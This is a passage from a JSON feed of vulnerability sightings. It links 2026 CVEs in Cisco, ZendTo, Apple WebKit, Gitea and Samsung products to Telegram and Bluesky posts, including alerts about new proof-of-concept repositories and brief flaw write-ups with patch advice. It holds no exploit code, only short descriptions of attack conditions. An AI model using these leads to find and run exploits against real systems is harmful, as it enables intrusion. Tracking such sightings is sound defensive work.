"4572d11d-182f-466c-bfeb-dde14a4c15df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20217", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98533", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20217\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a securifera\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-17 22:22:41\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nZendTo unauthenticated ClamAV CVE-2026-20217 RCE and default-profile root escalation reproduction\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-23T00:00:07.346197Z"}, {"uuid": "e5b1a8b7-6962-4b61-b083-55ec3687af38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98516", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20079\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a CyberAuth\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-17 18:39:16\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPython proof of concept for CVE-2026-20079 affecting Cisco Secure Firewall Management Center.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-23T00:00:07.487434Z"}, {"uuid": "250ada7f-8d59-4463-a691-ca7781a411b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "seen", "source": "https://bsky.app/profile/lasenal.bsky.social/post/3mqwvkwd7k62y", "content": "Cisco corrige un fallo que da control root sobre ISE.\n\nEl aviso repara CVE-2026-20180, con puntaje 9,9, en Identity Services Engine. Un atacante remoto podr\u00eda tomar el equipo como root. Sin mitigaci\u00f3n; hay que actualizar.\n\nLeer en Cisco \u2192\n\n#LaSe\u00f1alNews #Ciberseguridad #CyberSecurity #Cisco", "creation_timestamp": "2026-07-18T18:31:32.022148Z"}, {"uuid": "a6103925-c22c-414b-a125-061a9aed956b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20251", "type": "published-proof-of-concept", "source": "Telegram/MrO6V-Nf2RKKH_1IyOTTVmBid2k-chlt5XNWWiXZdJ3An5Q", "content": "", "creation_timestamp": "2026-07-19T00:00:30.580498Z"}, {"uuid": "a7b42857-6ef0-44f7-8c26-f2dac6516c47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "exploited", "source": "Telegram/Xr3h-QZd7nLUl6cH2ZkYAyeJW2qp_-enFsFogeXUHPpGcg", "content": "", "creation_timestamp": "2026-07-19T00:00:27.597100Z"}, {"uuid": "93ea2648-1bea-4830-b6ce-ad8b5f5825e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/VulnerabilityNews/41467", "content": "CISA orders feds to patch max-severity Cisco flaw by Sunday\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has ordered federal agencies to patch a maximum-severity vulnerability, CVE-2026-20131, in Cisco Secure Firewall Management Center (FMC) by Sunday,\u00a0March 22. [...]\nhttps://www.bleepingcomputer.com/news/security/cisa-orders-feds-to-patch-max-severity-cisco-flaw-by-sunday/", "creation_timestamp": "2026-07-19T00:00:25.699755Z"}, {"uuid": "bf1d5fa8-8ba6-4e43-a0cd-8c21fdfe4566", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://t.me/VulnerabilityNews/41432", "content": "Apple pushes first Background Security Improvements update to fix WebKit flaw\n\nApple has released its first Background Security Improvements update to fix a WebKit flaw tracked as CVE-2026-20643 on iPhones, iPads, and Macs without requiring a full operating system upgrade. [...]\nhttps://www.bleepingcomputer.com/news/security/apple-pushes-first-background-security-improvements-update-to-fix-webkit-flaw/", "creation_timestamp": "2026-07-19T00:00:27.036680Z"}, {"uuid": "5863155f-588d-451c-887a-a28b82dfd017", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "Telegram/C5fLo65erdhCp5f8SKvnCw5W1GQX3j3sCYgaGauZMs2t1Q", "content": "", "creation_timestamp": "2026-07-19T00:00:27.182041Z"}, {"uuid": "6b259789-5b7a-42b3-8d4b-51e06872d38e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "exploited", "source": "Telegram/y3zGX0JOuFUX-CVdQz3E7YcPAqHfILtSGhi4TBQ3y6So_A", "content": "", "creation_timestamp": "2026-07-19T00:00:27.256612Z"}, {"uuid": "b151aa1a-3aba-4a41-8abf-6d7c6ddb7f15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "published-proof-of-concept", "source": "Telegram/FdcDblJgpr4Bk1hzBo52CEMZWjwW5t7MZ6W5ZLgqcoUP2nQ", "content": "", "creation_timestamp": "2026-07-19T00:00:28.903509Z"}, {"uuid": "18753ef4-c579-4133-ba3a-33f93fc913d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/wihZfhaQT2qHw0wLZ8sk5tSU7nS9hHHdvUYjPR1ZKZ5oBq0", "content": "", "creation_timestamp": "2026-07-19T00:00:41.863657Z"}, {"uuid": "6fe706cf-3008-4e4d-9599-c200c96a725e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mqxys67zy52u", "content": "Daily IT Security Digest \u2014 2026-07-19\nOracle software. The breach highlights the cascading risks of unpatched third-party infrastructure and the continued relevance of Oracle-related exploits in attacker arsenals.\n\n5. **Cisco Catalyst SD-WAN Manager Zero-Day (CVE-2026-20262) Exploited in the Wild**", "creation_timestamp": "2026-07-19T05:01:55.608953Z"}, {"uuid": "66ef54df-3f7e-43f1-ae4b-9b270cdc9ef9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mqxys6iill27", "content": "Daily IT Security Digest \u2014 2026-07-19\nAttackers are actively exploiting a zero-day vulnerability in the Cisco Catalyst SD-WAN Manager (CVE-2026-20262) that allows attackers with write access to escalate to root privileges via crafted HTTP requests. No patch has been released yet. Organizations", "creation_timestamp": "2026-07-19T05:02:21.010834Z"}, {"uuid": "db3d55e9-99b5-4e6d-be83-a99edce6662e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20971", "type": "seen", "source": "https://t.me/cKure/16645", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Samsung Kernel UAF (CVE-2026-20971)\n\nhttps://lucidbitlabs.com/blog/when-defenses-become-attack-surface/", "creation_timestamp": "2026-07-19T11:00:03.241223Z"}, {"uuid": "25428edb-89e9-426a-999a-18c414915c2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/22578", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access \u2013 thehackernews.com\n\nThu, 25 Jun 2026 13:46:54", "creation_timestamp": "2026-07-19T16:00:04.418402Z"}, {"uuid": "8a70d4da-c44a-4bc4-a920-be8377a2bf9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/18849", "content": "Cisco Fixes Actively Exploited Zero-Day CVE-2026-20045 in Unified CM and Webex \u2013 thehackernews.com\n\nThu, 22 Jan 2026 12:06:00", "creation_timestamp": "2026-07-19T16:00:06.991389Z"}, {"uuid": "d4a484e6-17c0-4ac0-acb2-39a98aa3fe1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/22841", "content": "Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure \u2013 thehackernews.com\n\nTue, 07 Jul 2026 00:28:59", "creation_timestamp": "2026-07-19T16:00:04.656337Z"}, {"uuid": "9b3305ff-8c8d-4ebe-88ec-f0adc79b35cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/22104", "content": "Cisco Patches CVE-2026-20230 in Unified CM as Exploit Code Goes Public \u2013 thehackernews.com\n\nFri, 05 Jun 2026 00:55:51", "creation_timestamp": "2026-07-19T16:00:05.031900Z"}, {"uuid": "267d4497-7e4c-4564-be8e-406f64907f1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/22134", "content": "Cisco Catalyst SD-WAN Manager CVE-2026-20245 Flaw Actively Exploited \u2013 No Patch Available \u2013 thehackernews.com\n\nSat, 06 Jun 2026 12:19:28", "creation_timestamp": "2026-07-19T16:00:05.066932Z"}, {"uuid": "68c33d36-0627-4b54-964b-d29a10a2b233", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/21582", "content": "CISA Adds Cisco SD-WAN CVE-2026-20182 to KEV After Admin Access Exploits \u2013 thehackernews.com\n\nFri, 15 May 2026 13:28:03", "creation_timestamp": "2026-07-19T16:00:05.370728Z"}, {"uuid": "91e5656c-25be-46bf-82df-bf9b6fd16d83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/19561", "content": "Cisco SD-WAN Zero-Day CVE-2026-20127 Exploited Since 2023 for Admin Access \u2013 thehackernews.com\n\nThu, 26 Feb 2026 14:13:00", "creation_timestamp": "2026-07-19T16:00:06.207899Z"}, {"uuid": "9f950ae2-c7eb-450e-b6be-b310a4f00f48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/99048", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2005\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a open-flaw\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a JavaScript\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-21 09:34:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-23T00:00:31.706464Z"}, {"uuid": "1cca7723-de74-419f-ae5f-8353b05dc112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/20164", "content": "Interlock Ransomware Exploits Cisco FMC Zero-Day CVE-2026-20131 for Root Access \u2013 thehackernews.com\n\nThu, 19 Mar 2026 00:00:00", "creation_timestamp": "2026-07-19T16:00:06.366119Z"}, {"uuid": "2590edf5-e0a1-4bff-92ed-344a0e9b1e49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "seen", "source": "https://t.me/critical_bug/1729", "content": "\ud83d\udd25 Cisco ISE: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 RCE \ud83d\udd34\n\n\u0415\u0441\u043b\u0438 \u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0435\u0441\u0442\u044c \u0445\u043e\u0442\u044f \u0431\u044b Read Only Admin \u0432 Cisco ISE, \u044d\u0442\u043e\u0433\u043e \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0447\u0435\u0440\u0435\u0437 crafted HTTP request \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \ud83d\ude2c\n\n\u0420\u0435\u0447\u044c \u043f\u0440\u043e CVE-2026-20180 \u0438 CVE-2026-20186. Cisco \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u044f\u0437\u043a\u0443 \u0432 CVSS 9.9 Critical.\n\n\ud83d\udca5 \u0420\u0438\u0441\u043a\u0438:\n\u2022 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 ISE\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f \u0434\u043e root\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 DoS single-node deployment\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\u2022 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e 3.2 Patch 8 / 3.3 Patch 8 / 3.4 Patch 4\n\u2022 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c admin-\u0434\u043e\u0441\u0442\u0443\u043f\u044b\n\u2022 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c management-\u0434\u043e\u0441\u0442\u0443\u043f\n\u2022 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043b\u043e\u0433\u0438\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430: https://vip.eh.su \ud83d\ude80\n\n#Cisco #ISE #CVE #RCE #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-19T16:00:10.109440Z"}, {"uuid": "70757981-324e-4735-85e7-4a210aa2e721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "seen", "source": "https://t.me/critical_bug/1729", "content": "\ud83d\udd25 Cisco ISE: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 RCE \ud83d\udd34\n\n\u0415\u0441\u043b\u0438 \u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0435\u0441\u0442\u044c \u0445\u043e\u0442\u044f \u0431\u044b Read Only Admin \u0432 Cisco ISE, \u044d\u0442\u043e\u0433\u043e \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0447\u0435\u0440\u0435\u0437 crafted HTTP request \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \ud83d\ude2c\n\n\u0420\u0435\u0447\u044c \u043f\u0440\u043e CVE-2026-20180 \u0438 CVE-2026-20186. Cisco \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u044f\u0437\u043a\u0443 \u0432 CVSS 9.9 Critical.\n\n\ud83d\udca5 \u0420\u0438\u0441\u043a\u0438:\n\u2022 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 ISE\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f \u0434\u043e root\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 DoS single-node deployment\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\u2022 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e 3.2 Patch 8 / 3.3 Patch 8 / 3.4 Patch 4\n\u2022 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c admin-\u0434\u043e\u0441\u0442\u0443\u043f\u044b\n\u2022 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c management-\u0434\u043e\u0441\u0442\u0443\u043f\n\u2022 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043b\u043e\u0433\u0438\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430: https://vip.eh.su \ud83d\ude80\n\n#Cisco #ISE #CVE #RCE #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-19T16:00:10.148271Z"}, {"uuid": "e4f810ef-0f8d-4b5c-9349-7c7d682baeea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "seen", "source": "https://t.me/critical_bug/1730", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440: CVE-2026-20180 \u0438 CVE-2026-20186 \u0432 Cisco ISE", "creation_timestamp": "2026-07-19T16:00:10.185422Z"}, {"uuid": "a35d7e04-2c2a-40c0-8bd4-75f52277cb5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "seen", "source": "https://t.me/critical_bug/1730", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440: CVE-2026-20180 \u0438 CVE-2026-20186 \u0432 Cisco ISE", "creation_timestamp": "2026-07-19T16:00:10.219490Z"}, {"uuid": "028bedf9-da64-4c9a-950e-1e6328456930", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://t.me/critical_bug/1731", "content": "\ud83d\udc31 hacker voice WHO VALIDATED THIS CERT? \ud83d\udd34\n\n\ud83d\udd25 CVE-2026-20184: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cisco Webex SSO\n\nCVSS: 9.8 Critical\n\n\u0415\u0441\u043b\u0438 \u0443 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d Webex \u0447\u0435\u0440\u0435\u0437 SSO \u0441 trust anchors, \u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a endpoint \u0441\u0435\u0440\u0432\u0438\u0441\u0430, \u043f\u043e\u0434\u0441\u0443\u043d\u0443\u0442\u044c crafted token \u0438 \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u043f\u043e\u0447\u0442\u0438 \u0437\u0430 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \ud83d\ude2c\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c \u0431\u0430\u0433\u0430:\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 \u0432 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 SSO \u0441 Control Hub. \u041d\u0435 \u043d\u0443\u0436\u0435\u043d \u043d\u0438 \u043b\u043e\u0433\u0438\u043d, \u043d\u0438 \u043a\u043b\u0438\u043a \u043e\u0442 \u0436\u0435\u0440\u0442\u0432\u044b \u2014 \u0435\u0441\u043b\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u0430, \u0431\u0430\u0433 \u0431\u044c\u0451\u0442 \u043f\u0440\u044f\u043c\u043e \u043f\u043e \u0434\u043e\u0432\u0435\u0440\u0438\u044e \u043a \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\ud83d\udea8 \u0427\u0435\u043c \u044d\u0442\u043e \u043e\u043f\u0430\u0441\u043d\u043e?\n\u2014 \u0432\u0445\u043e\u0434 \u0432 Webex \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430\n\u2014 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0432\u043e\u043d\u043a\u0430\u043c, \u0447\u0430\u0442\u0430\u043c, \u0437\u0430\u043f\u0438\u0441\u044f\u043c \u0438 \u0444\u0430\u0439\u043b\u0430\u043c\n\u2014 \u0443\u0434\u043e\u0431\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u0441\u043e\u0446\u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u0438\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441?\n1. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043b\u0438 trust anchors \u0432 SSO\n2. \u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 IdP SAML certificate \u0432 Control Hub\n3. \u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043b\u043e\u0433\u0438 \u0432\u0445\u043e\u0434\u043e\u0432 \u0438 \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e \u0411\u043e\u043b\u044c\u0448\u0435 \u044d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0445 \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u0432 \u0438 VIP-\u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430: VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \ud83d\ude80\n\n#Cisco #Webex #CVE #SSO #CyberSecurity #Infosec #criticalbug", "creation_timestamp": "2026-07-19T16:00:09.783835Z"}, {"uuid": "85f359e3-65e8-48a6-a6d1-2e1423cf6678", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://t.me/critical_bug/1732", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 CVE-2026-20184 \u0432 PDF", "creation_timestamp": "2026-07-19T16:00:09.817546Z"}, {"uuid": "a764f556-4675-48e6-8ca3-fcc673644e1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/critical_bug/1673", "content": "\ud83d\udd25 \u041d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u0435\u043d\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043f\u0430\u043b\u0438\u043b \u0444\u0430\u0439\u0440\u0432\u043e\u043b\u044b: CVE-2026-20131\n\n\u0424\u0430\u0439\u0440\u0432\u043e\u043b \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c \u0441\u0435\u0442\u044c, \u043d\u043e 